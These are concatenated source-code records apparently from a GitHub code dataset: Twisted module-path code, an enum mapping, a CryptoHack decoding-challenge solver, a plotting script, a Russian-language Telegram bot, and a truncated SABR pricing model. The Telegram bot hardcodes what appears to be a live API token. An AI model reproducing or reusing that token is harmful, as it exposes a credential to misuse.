make sure... it's a loaded\n        # module after all, which means that its path MUST be in\n        # path_importer_cache according to PEP 302 -glyph\n        if rval not in self.importerCache:\n            warnings.warn(\n                \"%s (for module %s) not in path importer cache \"\n                \"(PEP 302 violation - check your local configuration).\" % (\n                    rval, modobj.__name__),\n                stacklevel=3)\n\n        return rval\n\n    def _smartPath(self, pathName):\n        \"\"\"\n        Given a path entry from sys.path which may refer to an importer,\n        return the appropriate FilePath-like instance.\n\n        @param pathName: a str describing the path.\n\n        @return: a FilePath-like object.\n        \"\"\"\n        importr = self.importerCache.get(pathName, _nothing)\n        if importr is _nothing:\n            for hook in self.sysPathHooks:\n                try:\n                    importr = hook(pathName)\n                except ImportError:\n                    pass\n            if importr is _nothing: # still\n                importr = None\n        return IPathImportMapper(importr, _theDefaultMapper).mapPath(pathName)\n\n    def iterEntries(self):\n        \"\"\"\n        Iterate the entries on my sysPath.\n\n        @return: a generator yielding PathEntry objects\n        \"\"\"\n        for pathName in self.sysPath:\n            fp = self._smartPath(pathName)\n            yield PathEntry(fp, self)\n\n\n    def __getitem__(self, modname):\n        \"\"\"\n        Get a python module by its given fully-qualified name.\n\n        @param modname: The fully-qualified Python module name to load.\n\n        @type modname: C{str}\n\n        @return: an object representing the module identified by C{modname}\n\n        @rtype: L{PythonModule}\n\n        @raise KeyError: if the module name is not a valid module name, or no\n            such module can be identified as loadable.\n        \"\"\"\n        # See if the module is already somewhere in Python-land.\n        moduleObject = self.moduleDict.get(modname)\n        if moduleObject is not None:\n            # we need 2 paths; one of the path entry and one for the module.\n            pe = PathEntry(\n                self._smartPath(\n                    self._findEntryPathString(moduleObject)),\n                self)\n            mp = self._smartPath(moduleObject.__file__)\n            return PythonModule(modname, mp, pe)\n\n        # Recurse if we're trying to get a submodule.\n        if '.' in modname:\n            pkg = self\n            for name in modname.split('.'):\n                pkg = pkg[name]\n            return pkg\n\n        # Finally do the slowest possible thing and iterate\n        for module in self.iterModules():\n            if module.name == modname:\n                return module\n        raise KeyError(modname)\n\n\n    def __contains__(self, module):\n        \"\"\"\n        Check to see whether or not a module exists on my import path.\n\n        @param module: The name of the module to look for on my import path.\n        @type module: C{str}\n        \"\"\"\n        try:\n            self.__getitem__(module)\n            return True\n        except KeyError:\n            return False\n\n\n    def __repr__(self):\n        \"\"\"\n        Display my sysPath and moduleDict in a string representation.\n        \"\"\"\n        return \"PythonPath(%r,%r)\" % (self.sysPath, self.moduleDict)\n\n    def iterModules(self):\n        \"\"\"\n        Yield all top-level modules on my sysPath.\n        \"\"\"\n        for entry in self.iterEntries():\n            for module in entry.iterModules():\n                yield module\n\n    def walkModules(self, importPackages=False):\n        \"\"\"\n        Similar to L{iterModules}, this yields every module on the path, then every\n        submodule in each package or entry.\n        \"\"\"\n        for package in self.iterModules():\n            for module in package.walkModules(importPackages=False):\n                yield module\n\ntheSystemPath = PythonPath()\n\ndef walkModules(importPackages=False):\n    \"\"\"\n    Deeply iterate all modules on the global python path.\n\n    @param importPackages: Import packages as they are seen.\n    \"\"\"\n    return theSystemPath.walkModules(importPackages=importPackages)\n\ndef iterModules():\n    \"\"\"\n    Iterate all modules and top-level packages on the global Python path, but\n    do not descend into packages.\n\n    @param importPackages: Import packages as they are seen.\n    \"\"\"\n    return theSystemPath.iterModules()\n\ndef getModule(moduleName):\n    \"\"\"\n    Retrieve a module from the system path.\n    \"\"\"\n    return theSystemPath[moduleName]\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/python/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":24879,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"29257651147","text":"from maps_adv.geosmb.scenarist.proto import scenarios_pb2\nfrom maps_adv.geosmb.scenarist.server.lib.enums import ScenarioName, SubscriptionStatus\n\nENUM_MAPS_TO_PB = {\n    \"scenario_name\": {\n        ScenarioName.DISCOUNT_FOR_LOST: scenarios_pb2.ScenarioName.DISCOUNT_FOR_LOST,\n        ScenarioName.ENGAGE_PROSPECTIVE: scenarios_pb2.ScenarioName.ENGAGE_PROSPECTIVE,\n        ScenarioName.THANK_THE_LOYAL: scenarios_pb2.ScenarioName.THANK_THE_LOYAL,\n        ScenarioName.DISCOUNT_FOR_DISLOYAL: scenarios_pb2.ScenarioName.DISCOUNT_FOR_DISLOYAL,  # noqa\n    },\n    \"subscription_status\": {\n        SubscriptionStatus.ACTIVE: scenarios_pb2.SubscriptionStatus.ACTIVE,\n        SubscriptionStatus.PAUSED: scenarios_pb2.SubscriptionStatus.PAUSED,\n        SubscriptionStatus.COMPLETED: scenarios_pb2.SubscriptionStatus.COMPLETED,\n    },\n}\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/utils (5).py","file_name":"utils (5).py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70313989202","text":"#! /usr/bin/env python3\n\nimport telnetlib\nimport json\nimport base64\nimport codecs\n\nHOST = \"socket.cryptohack.org\"\nPORT = 13377\n\ntn = telnetlib.Telnet(HOST, PORT)\n\ndef readline():\n    return tn.read_until(b\"\\n\")\n\ndef json_recv():\n    line = readline()\n    return json.loads(line.decode())\n\ndef json_send(hsh):\n    request = json.dumps(hsh).encode()\n    tn.write(request)\n\nclass Decoder():\n  def __init__(self):\n    self.level = 0\n    self.challenge = []\n    self.solution = []\n    self.rot13 = lambda s : codecs.getencoder(\"rot-13\")(s)[0]\n    \n  def addChallenge(self, challenge):\n    self.challenge.append(challenge)\n    self.level += 1\n  \n  def getLatestChallenge(self) -> dict:\n    return self.challenge[-1]\n\n  # 1. utf8\n  def utf8Decoder(self,encodedValue:list) -> str:\n    decodedValue = \"\"\n    for integer in encodedValue:\n      decodedValue += chr(integer)\n    return decodedValue\n\n  # 2. hex\n  def hexDecoder(self,encodedValue:str) -> str:\n    return bytes.fromhex(encodedValue).decode(\"ASCII\")\n  \n  # 3. bigint\n  def bigIntDecoder(self,encodedValue:str) -> str:\n    return self.hexDecoder(encodedValue[2:])\n\n  # 4. base64\n  def base64Decoder(self, encodedValue:str) -> str:\n    return base64.b64decode(encodedValue).decode(\"ASCII\")\n  \n  # 5. rot13\n  def rot13Decoder(self,encodedValue:str) -> str:\n    return self.rot13(encodedValue)\n\n  def decode(self):\n    # get the last challenge added\n    lastChallenge = self.getLatestChallenge()\n\n    # extracte type and encoded data\n    encodingType = lastChallenge['type']\n    encodedValue = lastChallenge[\"encoded\"]\n    decodedValue = \"\"\n\n    # match the type and use corresponding decoder\n    if encodingType == \"utf-8\":     # 1\n      decodedValue = self.utf8Decoder(encodedValue)\n    elif encodingType == \"hex\":     # 2\n      decodedValue = self.hexDecoder(encodedValue)\n    elif encodingType == \"bigint\":  # 3\n      decodedValue = self.bigIntDecoder(encodedValue)\n    elif encodingType == \"base64\":  # 4\n      decodedValue = self.base64Decoder(encodedValue)\n    elif encodingType == \"rot13\":    # 5\n      decodedValue = self.rot13Decoder(encodedValue)\n    else:\n      print(\"Encoding Type Un-recognized : \",encodingType)\n      return -1\n    \n    # append informations to solution\n    self.solution.append({\"level\":self.level, \"type\":encodingType,\"encoded\":encodedValue,\"decoded\":decodedValue})\n    return decodedValue\n  \n  # helper function to create json request\n  def jsonValue(self,decodedValue:str) -> dict:\n    return {\"decoded\":decodedValue}\n\n\ndef main():\n  decoder = Decoder()\n\n  # clear 100 levels to get flag in 101th request\n  for i in range(101):\n    received = json_recv()\n\n    # if request is badly formated, we get error in response\n    if type(received.get(\"error\")).__name__ != 'NoneType':\n      if received[\"error\"] == \"Invalid JSON\":\n        print(\"Wrong data sent at level : \", i+1)\n        break\n    \n    # after 100 level, the flag is received\n    if i+1 == 101:\n      print(\"*** Congratulations ***\")\n      print(\"The flag is : \",received[\"flag\"])\n      f = open(\"./5. Encoding Challenge Solution.txt\", \"a\")\n\n      f.write(\"************************ Challenge Starts ************************\\n\\n\")\n\n      for solution in decoder.solution:\n        f.write(json.dumps(solution))\n        f.write(\"\\n\")\n\n      toWriteFlag = \"\\n\\nThe flag is : \" + received[\"flag\"]\n      f.write(toWriteFlag)\n\n      f.write(\"\\n\\n####################### Challenge Ends #######################\\n\\n\\n\\n\\n\")\n      f.close()\n\n      break\n    \n    # add new challenge to the decoder\n    decoder.addChallenge(received)\n\n    # run the decoder to get decoded value\n    decoded = decoder.decode()\n    \n    # if decoding is successfull send the decoded value as json\n    if(decoded != -1):\n      print(\"Cleared level \",i+1,\"\\t\",decoded)\n      json_send(decoder.jsonValue(decoded))\n    else:\n      # if decoding fails at any point simply print out the solution till that point and stop\n      print(\"Successfully solved : \",decoder.solution)\n      break\n\nif __name__ == \"__main__\":\n  main()","repo_name":"Amitmahato/CryptoHack","sub_path":"3. General/1. Encoding/5. Encoding Challenge.py","file_name":"5. Encoding Challenge.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26631385311","text":"import matplotlib.pyplot as plt\n\ninput_file_name = input().split(\".\")[0]\nglobal_sum = int(input())\narray_size = int(input())\nMAX_FUNCTIONS = int(input())\nMAX_THREADS = int(input())\n\ncolors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n\nplt.figure(1)\nplt.figure(2)\nplt.figure(3)\n\nfor function_no in range(MAX_FUNCTIONS):\n    function_name = input()\n    avg_running_time = []\n    max_running_time = []\n    min_running_time = []\n    for thread_no in range(MAX_THREADS):\n        avg_running_time.append(float(input()))\n    for thread_no in range(MAX_THREADS):\n        max_running_time.append(float(input()))\n    for thread_no in range(MAX_THREADS):\n        min_running_time.append(float(input()))\n    plt.figure(1)\n    plt.plot(range(1, MAX_THREADS + 1), avg_running_time, colors[function_no], label=function_name)\n    plt.figure(2)\n    plt.plot(range(1, MAX_THREADS + 1), max_running_time, colors[function_no], label=function_name)\n    plt.figure(3)\n    plt.plot(range(1, MAX_THREADS + 1), min_running_time, colors[function_no], label=function_name)\n\nplt.figure(1)\nplt.title(input_file_name + \"  (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Average Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_avg.png\")\n\nplt.figure(2)\nplt.title(input_file_name + \"  (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Maximum Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_max.png\")\n\nplt.figure(3)\nplt.title(input_file_name + \"  (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Minimum Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_min.png\")\n\nplt.show()","repo_name":"himanshu520/ParallelProgramming","sub_path":"Assignment-2/array_sum/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18199688001","text":"# Телеграм-бот v.002 - бот создаёт меню, присылает собачку, и анекдот\r\nimport telebot\r\n# pyTelegramBotAPI\t4.3.1\r\nfrom telebot import types\r\nimport game  # бот-игры, файл game.py\r\nimport menuBot\r\nfrom menuBot import Menu  # в этом модуле есть код, создающий экземпляры классов описывающих моё меню\r\nimport requests # Требуется для \"Прислать собаку\"\r\nimport bs4 # требуется для get_anekdot()\r\n\r\nbot = telebot.TeleBot('5255331774:AAHCU3lY_SjoYPOepjMFpcLdfqK7Zz-Rk6o')  # Создаем экземпляр ботф\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(content_types=['sticker'])\r\ndef get_messages(message):\r\n    chat_id = message.chat.id\r\n    bot.send_message(chat_id, \"Это \" + message.content_type)\r\n\r\n    sticker = message.sticker\r\n    bot.send_message(message.chat.id, sticker)\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(content_types=['voice'])\r\ndef get_messages(message):\r\n    chat_id = message.chat.id\r\n    bot.send_message(chat_id, \"Это \" + message.content_type)\r\n\r\n    voice = message.voice\r\n    # bot.send_message(message.chat.id, voice)\r\n\r\n    import speech\r\n    fileInfo = bot.get_file(voice.file_id)\r\n    audioData = bot.download_file(fileInfo.file_path)\r\n    bot.send_message(chat_id, speech.getTextFromVoice(audioData))\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(commands=[\"start\"])\r\ndef start(message, res=False):\r\n    chat_id = message.chat.id\r\n\r\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n    btn1 = types.KeyboardButton(\"👋 Главное меню\")\r\n    btn2 = types.KeyboardButton(\"❓ Помощь\")\r\n    markup.add(btn1, btn2)\r\n\r\n    bot.send_message(chat_id,\r\n                     text=\"Привет, {0.first_name}! Я тестовый бот для курса программирования на языке ПаЙтон\".format(\r\n                         message.from_user), reply_markup=markup)\r\n\r\n\r\n# -----------------------------------------------------------------------\r\n# Получение сообщений от юзера\r\n@bot.message_handler(content_types=['text'])\r\ndef get_text_messages(message):\r\n    chat_id = message.chat.id\r\n    ms_text = message.text\r\n\r\n    if ms_text == \"Главное меню\" or ms_text == \"👋 Главное меню\" or ms_text == \"Вернуться в главное меню\":  # ..........\r\n        markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n        btn1 = types.KeyboardButton(\"Развлечения\")\r\n        btn2 = types.KeyboardButton(\"WEB-камера\")\r\n        btn3 = types.KeyboardButton(\"Управление\")\r\n        back = types.KeyboardButton(\"Помощь\")\r\n        markup.add(btn1, btn2, btn3, back)\r\n        bot.send_message(chat_id, text=\"Вы в главном меню\", reply_markup=markup)\r\n\r\n    elif ms_text == \"Развлечения\":  # ..................................................................................\r\n        markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n        btn1 = types.KeyboardButton(\"Прислать собаку\")\r\n        btn2 = types.KeyboardButton(\"Прислать анекдот\")\r\n        btn4 = types.KeyboardButton(\"Имена\")\r\n        back = types.KeyboardButton(\"Вернуться в главное меню\")\r\n        markup.add(btn1, btn2, btn4, back)\r\n        bot.send_message(chat_id, text=\"Развлечения\", reply_markup=markup)\r\n\r\n\r\n\r\n    elif ms_text == \"/dog\" or ms_text == \"Прислать собаку\":  # .........................................................\r\n        contents = requests.get('https://random.dog/woof.json').json()\r\n        urlDOG = contents['url']\r\n        bot.send_photo(chat_id, photo=urlDOG, caption=\"Вот тебе собачка!\")\r\n\r\n    elif ms_text == \"Прислать анекдот\":  # .............................................................................\r\n        bot.send_message(chat_id, text=get_anekdot())\r\n\r\n    elif ms_text == \"Имена\":\r\n        bot.send_message(chat_id, text=get_name())\r\n\r\n    elif ms_text == \"WEB-камера\":\r\n        bot.send_message(chat_id, text=\"еще не готово...\")\r\n\r\n    elif ms_text == \"Управление\":  # ...................................................................................\r\n        bot.send_message(chat_id, text=\"еще не готово...\")\r\n\r\n    elif ms_text == \"Помощь\" or ms_text == \"/help\":  # .................................................................\r\n        bot.send_message(chat_id, \"Автор: Кривонос Маргарита\")\r\n        key1 = types.InlineKeyboardMarkup()\r\n        btn1 = types.InlineKeyboardButton(text=\"Напишите автору\", url=\"https://t.me/user59387\")\r\n        key1.add(btn1)\r\n        with open('Z:/1-МД-17/Кривонос/Piton04/test.jpg', 'rb') as img:\r\n            bot.send_photo(message.chat.id, img, reply_markup=key1)\r\n\r\n    else:  # ...........................................................................................................\r\n        bot.send_message(chat_id, text=\"Я тебя слышу!!! Ваше сообщение: \" + ms_text)\r\n\r\n# -----------------------------------------------------------------------\r\ndef get_anekdot():\r\n    array_anekdots = []\r\n    z = ''\r\n    s = requests.get('https://nekdo.ru/random/')\r\n    soup = bs4.BeautifulSoup(s.text, \"html.parser\")\r\n    result_find = soup.select('.text')\r\n    for result in result_find:\r\n        array_anekdots.append(result.getText().strip())\r\n    return array_anekdots[0]\r\n#--------------------------\r\ndef get_name():\r\n        array_name = []\r\n        n = requests.get('https://777name.com/imya/')\r\n        soup = bs4.BeautifulSoup(n.text, \"html.parser\")\r\n        find_name = soup.select('.gen_ru')\r\n        for result in find_name:\r\n            array_name.append(result.getText().strip())\r\n        if len(array_name) > 0:\r\n            return array_name[0]\r\n\r\n\r\n# -----------------------------------------------------------------------\r\nbot.polling(none_stop=True, interval=0) # Запускаем бота\r\n\r\nprint()\r\n# --------------------------\r\n","repo_name":"17Gosha/piton1205","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42739524954","text":"\"\"\"\nSABR Model Implementation\n\nThis module implements the SABR model for pricing options on various underlying assets. \nThe SABR model is a stochastic volatility model that was introduced by Hagan et al. \nin their 2002 paper \"Managing Smile Risk\".\n\nReferences:\n    [1] Willems, S. (2020). SABR smiles for RFR caplets.\n    [2] Hagan, P. S., Kumar, D., Lesniewski, A. S., & Woodward, D. E. (2002). Managing smile risk.\n    [3] Taipe, M. (2022). Tuning the FMM-SABR for RFR caplets.\n\"\"\"\n\nimport time\nfrom datetime import date\nimport numpy as np\nfrom scipy.stats import norm\nfrom scipy.optimize import bisect, differential_evolution, dual_annealing\nfrom discount_curve import Curve\nfrom tools import eff_rho_bounds, error_function, callback_function\nfrom cap_floor import Caplet, MarketCaplet\n\n\nclass SabrModel:\n    \"\"\"\n    A class that implements the SABR model for pricing caplets on overnight index averages.\n    Notation is taken from [1].\n    \"\"\"\n\n    # DOCSTRING\n    # TODO Write __str__\n\n    def __init__(\n        self,\n        alpha: list,\n        beta: float,\n        rho: list,\n        volvol: list,\n        exp: float,\n        caplet: Caplet,\n        discount_curve: Curve,\n    ):\n        self.sabr = {\"alpha\": alpha, \"beta\": beta, \"rho\": rho, \"volvol\": volvol}\n        self.exp = exp\n        self.caplet = caplet\n        self.discount_curve = discount_curve\n\n        # Check for valid input values\n        if not np.isclose(self.sabr[\"beta\"], 0) and np.isclose(self.caplet.strike, 0):\n            raise ValueError(\"We only allow zero strike if beta=0\")\n        if not np.isclose(self.sabr[\"beta\"], 0) and (\n            self.caplet.init_fwd <= 0 or self.caplet.strike < 0\n        ):\n            raise ValueError(\"We only allow negative rates if beta=0\")\n        self.__no_black_model_support = (\n            self.caplet.init_fwd <= 0 or self.caplet.strike <= 0\n        )\n\n        if self.__no_black_model_support:\n            print(\"WARNING: Black model not supported\")\n\n        self.sabr_eff = {\n            \"alpha\": alpha.copy(),\n            \"beta\": beta,\n            \"rho\": rho.copy(),\n            \"volvol\": volvol.copy(),\n        }\n        self.eff_parameters()\n\n    def _chi(self, zeta: float, rho: float) -> float:\n        \"\"\"\n        Determines the value of the χ(ζ) function as described in equation (2.17c) [1].\n\n        Args\n            zeta (float): The input value ζ.\n\n        Returns\n            float: The value of χ(ζ).\n        \"\"\"\n        return np.log(\n            (np.sqrt(1 - 2 * rho * zeta + zeta**2) + zeta - rho) / (1 - rho)\n        )\n\n    def _rel_time(self, exp: float) -> float:\n        \"\"\"\n        Determines the relative time ((end_date - start_date)/(start_date))^exp as in [1].\n\n        Args\n            exp (float): The input value exp.\n\n        Returns\n            float: The value of ((start_date - end_date)/(start_date))^exp.\n        \"\"\"\n        return ((self.caplet.end() - self.caplet.start()) / self.caplet.end()) ** exp\n\n    def _tau(self):\n        \"\"\" \"\"\"\n        # DOCSTRING\n        return 2 * self.exp * self.caplet.start() + self.caplet.end()\n\n    def _zeta(self, rho):\n        \"\"\"\n        Determines the value of zeta as in Theorem 4.1 [1].\n        \"\"\"\n        return (1 / (4 * self.exp + 3)) * (\n            1 / (2 * self.exp + 1)\n            + (2 * self.exp * rho**2) / ((3 * self.exp + 2) ** 2)\n        )\n\n    def _delta_sqr(self):\n        \"\"\"\n        Function that determines Δ^2 in Appendix B [3].\n        \"\"\"\n        # DOCSTRING\n        delta_0 = (\n            self.sabr[\"alpha\"][0] ** 2 * self.caplet.start()\n            - (self.sabr[\"alpha\"][1] ** 2 * (self.caplet.start() - self.caplet.end()))\n            / (2 * self.exp + 1)\n        ) / self.caplet.end()\n        delta_1 = ((self.sabr[\"alpha\"][1] ** 2) * self._rel_time(-2 * self.exp)) / (\n            2 * self.exp + 1\n        )\n        return delta_0, delta_1\n\n    def _b(self):\n        \"\"\"\n        Function that determines b in Appendix B [3].\n        \"\"\"\n        # DOCSTRING\n        # TODO Also calculate b_1\n        delta_0 = self._delta_sqr()[0]\n\n        b_0_1 = (\n            self.sabr[\"alpha\"][0]\n            * self.sabr[\"volvol\"][0]\n            * self.sabr[\"rho\"][0]\n            * self.caplet.start()\n            * (\n                self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() * (2 * self.exp + 1)\n                + 2\n                * self.sabr[\"alpha\"][1] ** 2\n                * (self.caplet.end() - self.caplet.start())\n            )\n        ) / (2 * (2 * self.exp + 1))\n        b_0_2 = (\n            self.sabr[\"alpha\"][1] ** 3\n            * self.sabr[\"volvol\"][1]\n            * self.sabr[\"rho\"][1]\n            * (self.caplet.end() - self.caplet.start()) ** 2\n        ) / ((2 * self.exp + 1) * (3 * self.exp + 2))\n\n        b_0 = (2 * (b_0_1 + b_0_2)) / (delta_0**2 * self.caplet.end() ** 2)\n\n        b_1 = (\n            (self.sabr[\"volvol\"][1] * self.sabr[\"rho\"][1] * (4 * self.exp + 2))\n            / (self.sabr[\"alpha\"][1] * (3 * self.exp + 2))\n        ) * self._rel_time(self.exp)\n        return b_0, b_1\n\n    def _gamma(self, rho):\n        \"\"\"\n        Determines the value of gamma as in Theorem 4.2 in [1]\n        \"\"\"\n        gamma_1_num = (\n            2 * self._tau() ** 3\n            + self.caplet.end() ** 3\n            + (4 * self.exp**2 - 2 * self.exp) * self.caplet.start() ** 3\n            + 6 * self.exp * self.caplet.start() ** 2 * self.caplet.end()\n        )\n        gamma_1 = (self._tau() * gamma_1_num) / (\n            (4 * self.exp + 3) * (2 * self.exp + 1)\n        )\n\n        gamma_2_num = (\n            3 * self._tau() ** 2\n            - self.caplet.end() ** 2\n            + 5 * self.exp * self.caplet.start() ** 2\n            + 4 * self.caplet.start() * self.caplet.end()\n        )\n        gamma_2 = gamma_2_num / ((4 * self.exp + 3) * (3 * self.exp + 2) ** 2)\n\n        return (\n            gamma_1\n            + 3\n            * self.exp\n            * rho**2\n            * (self.caplet.end() - self.caplet.start()) ** 2\n            * gamma_2\n        )\n\n    def _H(self):\n        \"\"\"\n        Determines the value of H as in Theorem 4.2 [1]\n        \"\"\"\n        fraction = (\n            self._tau() ** 2\n            + 2 * self.exp * self.caplet.start() ** 2\n            + self.caplet.end() ** 2\n        ) / (2 * self.caplet.end() * self._tau() * (self.exp + 1))\n        return self.sabr[\"volvol\"] * fraction - self.sabr_eff[\"volvol\"] ** 2\n\n    def _lambda(self):\n        \"\"\"\n        Determines lambda as in Appendix B [3]\n        \"\"\"\n        return self.sabr[\"alpha\"][0] ** 2 * (\n            self.caplet.start() + 2 * self.exp * self.caplet.start()\n        ) + self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start())\n\n    def _c(self):\n        b_0, b_1 = self._b()\n\n        tau_1 = self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() + (\n            self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start())\n        ) / (2 * self.exp + 1)\n\n        # Compute Integral 1\n        int_1_1 = (\n            self.sabr[\"volvol\"][0] ** 2\n            * self.sabr[\"alpha\"][0] ** 4\n            * self.caplet.start() ** 3\n        ) / 3\n        int_1_2 = (\n            self.sabr[\"volvol\"][0] ** 2\n            * self.sabr[\"alpha\"][0] ** 2\n            * self.sabr[\"alpha\"][1] ** 2\n            * (self.caplet.end() - self.caplet.start())\n            * self.caplet.start() ** 2\n        ) / (2 * self.exp + 1)\n        int_1_3 = (\n            self.sabr[\"volvol\"][0] ** 2\n            * self.sabr[\"alpha\"][1] ** 4\n            * (self.caplet.end() - self.caplet.start()) ** 2\n            * self.caplet.start()\n        ) / ((2 * self.exp + 1) ** 2)\n        int_1_4 = (\n            self.sabr[\"volvol\"][1] ** 2\n            * self.sabr[\"alpha\"][1] ** 4\n            * (self.caplet.end() - self.caplet.start()) ** 3\n        ) / ((2 * self.exp + 1) ** 2 * (4 * self.exp + 3))\n        int_1 = int_1_1 + int_1_2 + int_1_3 + int_1_4\n\n        # Compute Integral 2\n        int_2_1 = (\n            self.sabr[\"rho\"][0] ** 2\n            * self.sabr[\"volvol\"][0] ** 2\n            * self.sabr[\"alpha\"][0] ** 4\n            * self.caplet.start() ** 3\n        ) / 3\n        int_2_2 = (\n            self.sabr[\"alpha\"][0] ** 2\n            * self.sabr[\"volvol\"][0] ** 2\n            * self.sabr[\"rho\"][0] ** 2\n            * self.caplet.start() ** 2\n        ) / (2 * self.exp + 1)\n        int_2_3 = (\n            2\n            * self.sabr[\"alpha\"][0]\n            * self.sabr[\"alpha\"][1]\n            * self.sabr[\"volvol\"][0]\n            * self.sabr[\"volvol\"][1]\n            * self.sabr[\"rho\"][0]\n            * self.sabr[\"rho\"][1]\n            * self.caplet.start()\n            * (self.caplet.end() - self.caplet.start())\n        ) / ((2 * self.exp + 1) * (3 * self.exp + 2))\n        int_2_4 = (\n            2\n            * self.sabr[\"alpha\"][1] ** 2\n            * self.sabr[\"volvol\"][1] ** 2\n            * self.sabr[\"rho\"][1] ** 2\n            * (self.caplet.end() - self.caplet.start()) ** 2\n        ) / ((2 * self.exp + 1) * (3 * self.exp + 2) * (4 * self.exp + 3))\n        int_2 = int_2_1 + self.sabr[\"alpha\"][1] ** 2 * (\n            self.caplet.end() - self.caplet.start()\n        ) * (int_2_2 + int_2_3 + int_2_4)\n\n        c0 = (3 / (tau_1**3)) * (int_1 + 3 * int_2) - 3 * b_0**2\n        return c0, np.nan\n\n    def _G(self):\n        \"\"\"\n        Function that determines G in Appendix B [3].\n        \"\"\"\n        # DOCSTRING\n        # TODO Also calculate G_1\n        delta_0, delta_1 = self._delta_sqr()\n        c_0, c_1 = self._c()\n\n        g_0_nu_0 = (self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() ** 2) / 2 + (\n            self.sabr[\"alpha\"][1] ** 2\n            * self.caplet.start()\n            * (self.caplet.end() - self.caplet.start())\n        ) / (2 * self.exp + 1)\n        g_0_nu_1 = (\n            self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start()) ** 2\n        ) / ((2 * self.exp + 1) * (2 * self.exp + 2))\n        g_0_int = (\n            self.sabr[\"volvol\"][0] ** 2 * g_0_nu_0\n            + self.sabr[\"volvol\"][1] ** 2 * g_0_nu_1\n        )\n        tau_t1 = self.caplet.end() * delta_0\n\n        g_0 = (2 * g_0_int) / ((self.caplet.end() * delta_0) ** 2) - c_0\n\n        # TEST G_1 calculations\n        g_1 = ((self.sabr[\"volvol\"][1] ** 2) / (delta_1 * (self.exp + 1))) - c_1\n\n        return g_0, g_1\n\n    def eff_parameters(self):\n        \"\"\"\n        Determines the effective SABR parameters based on the\n        expressions b, c, G and Δ^2 in Appendix B [3].\n        \"\"\"\n        # DOCSTRING\n        delta_0_sqr, delta_1_sqr = self._delta_sqr()\n        b_0, b_1 = self._b()\n        c_0, c_1 = self._c()\n        g_0, g_1 = self._G()\n\n        self.sabr_eff[\"alpha\"][0] = np.sqrt(delta_0_sqr) * np.exp(\n            (delta_0_sqr * g_0 * self.caplet.end()) / 4\n        )\n        # self.sabr_eff[\"alpha\"][1] = np.sqrt(delta_1_sqr) * np.exp(\n        #     (delta_1_sqr * g_1 * self.caplet.end()) / 4\n        # )\n\n        self.sabr_eff[\"rho\"][0] = b_0 / np.sqrt(c_0)\n        # self.sabr_eff[\"rho\"][1] = b_1 / np.sqrt(c_1)\n\n        self.sabr_eff[\"volvol\"][0] = np.sqrt(delta_0_sqr) * np.sqrt(c_0)\n        # self.sabr_eff[\"volvol\"][1] = np.sqrt(delta_1) * np.sqrt(c_1)\n\n        return (\n            self.sabr_eff[\"alpha\"][0],\n            self.sabr_eff[\"rho\"][0],\n            self.sabr_eff[\"volvol\"][0],\n        )\n\n    def orig_parameters(self, alpha_eff, rho_eff, volvol_eff):\n        \"\"\"\n        Function that determines the original SABR parameters from the\n        set of effective SABR parameters.\n        \"\"\"\n\n        def objective_function(arg, eff_params):\n            self.sabr = {\n                \"alpha\": [arg[0], arg[1]],\n                \"beta\": self.sabr[\"beta\"],\n                \"rho\": [arg[2], arg[3]],\n                \"volvol\": [arg[4], arg[5]],\n            }\n            alpha, rho, volvol = self.eff_parameters()\n            return error_function(np.array([alpha, rho, volvol]), np.array(eff_params))\n\n        eps = 0.001\n        sabr_bounds = [\n            (eps, 0.2),\n            (eps, 0.2),\n            (-1 + eps, 1 - eps),\n            (-1 + eps, 1 - eps),\n            (eps, 1),\n            (eps, 1),\n        ]\n        eff_params = [alpha_eff, rho_eff, volvol_eff]\n\n        result = differential_evolution(\n            objective_function,\n            bounds=sabr_bounds,\n            args=[eff_params],\n            disp=True,\n            polish=False,\n        )\n\n        return result.x\n\n    def _equivalent_volatility_1(self, model: str):\n        \"\"\" \"\"\"\n        # DOCSTRING\n        # TEST for in_accrual\n        # TODO set correct SABR parameters in _equivalent_volatility\n\n        # Chooses the right set of SABR parameters\n        if self.caplet.direction == \"bwd\" and not self.caplet.in_accrual:\n            sabr = {\n                \"alpha\": self.sabr_eff[\"alpha\"][0],\n                \"beta\": self.sabr_eff[\"beta\"],\n                \"rho\": self.sabr_eff[\"rho\"][0],\n                \"volvol\": self.sabr_eff[\"volvol\"][0],\n            }\n        elif self.caplet.direction == \"bwd\" and self.caplet.in_accrual:\n            sabr = {\n       